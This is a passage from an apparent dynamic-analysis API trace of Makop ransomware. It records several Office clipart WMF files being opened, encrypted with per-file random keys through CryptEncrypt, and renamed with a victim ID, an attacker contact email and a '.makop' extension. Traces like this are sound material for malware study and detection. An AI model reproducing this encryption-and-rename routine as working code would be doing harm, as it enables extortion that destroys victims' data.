nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00192_.WMF", cAlternateFileName="")) returned 1 [0149.429] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF") returned 63 [0149.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.430] GetProcessHeap () returned 0x48a0000 [0149.430] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.430] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.431] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.435] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.435] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.435] GetProcessHeap () returned 0x48a0000 [0149.435] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.435] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.436] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.436] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.436] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.436] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.436] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.436] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.436] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.436] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.437] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.437] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x280c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x280c, lpOverlapped=0x0) returned 1 [0149.439] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2810, dwBufLen=0x2810 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2810) returned 1 [0149.439] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.439] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2810, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2810, lpOverlapped=0x0) returned 1 [0149.439] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.440] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x28e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.440] SetEndOfFile (hFile=0xf0) returned 1 [0149.447] GetProcessHeap () returned 0x48a0000 [0149.448] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.448] GetProcessHeap () returned 0x48a0000 [0149.448] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.448] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.450] CloseHandle (hObject=0xf0) returned 1 [0149.450] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0d2600, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f0d2600, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x27c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00194_.WMF", cAlternateFileName="")) returned 1 [0149.450] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 63 [0149.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.451] GetProcessHeap () returned 0x48a0000 [0149.451] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.451] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.451] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.451] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.452] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.452] GetProcessHeap () returned 0x48a0000 [0149.452] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.452] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.452] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.452] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.465] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.465] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.465] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.465] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.466] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.466] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.466] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.466] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x27c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x27c0, lpOverlapped=0x0) returned 1 [0149.468] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27c0, dwBufLen=0x27c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27c0) returned 1 [0149.468] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.468] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x27c0, lpOverlapped=0x0) returned 1 [0149.468] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.468] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.468] SetEndOfFile (hFile=0xf0) returned 1 [0149.475] GetProcessHeap () returned 0x48a0000 [0149.475] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.476] GetProcessHeap () returned 0x48a0000 [0149.476] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.476] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.478] CloseHandle (hObject=0xf0) returned 1 [0149.478] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00197_.WMF", cAlternateFileName="")) returned 1 [0149.479] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 63 [0149.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.480] GetProcessHeap () returned 0x48a0000 [0149.480] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.480] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.480] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.480] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.485] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.485] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.485] GetProcessHeap () returned 0x48a0000 [0149.485] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.485] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.485] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.485] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.485] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.485] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.486] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.486] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.486] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.486] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.486] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x238c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x238c, lpOverlapped=0x0) returned 1 [0149.489] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2390, dwBufLen=0x2390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2390) returned 1 [0149.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.489] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2390, lpOverlapped=0x0) returned 1 [0149.490] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.490] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.490] SetEndOfFile (hFile=0xf0) returned 1 [0149.497] GetProcessHeap () returned 0x48a0000 [0149.497] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.497] GetProcessHeap () returned 0x48a0000 [0149.497] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.497] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.501] CloseHandle (hObject=0xf0) returned 1 [0149.501] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19174500, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19174500, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00199_.WMF", cAlternateFileName="")) returned 1 [0149.501] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF") returned 63 [0149.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.502] GetProcessHeap () returned 0x48a0000 [0149.502] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.502] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.502] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0149.507] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.508] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.508] GetProcessHeap () returned 0x48a0000 [0149.508] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.508] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.508] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.508] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.508] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.508] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.508] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.508] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.509] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.509] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.509] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.509] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.509] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15fe, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15fe, lpOverlapped=0x0) returned 1 [0149.511] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1600, dwBufLen=0x1600 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1600) returned 1 [0149.511] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.511] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1600, lpOverlapped=0x0) returned 1 [0149.511] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.511] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.511] SetEndOfFile (hFile=0xf0) returned 1 [0149.519] GetProcessHeap () returned 0x48a0000 [0149.519] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.519] GetProcessHeap () returned 0x48a0000 [0149.519] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.519] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.519] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.521] CloseHandle 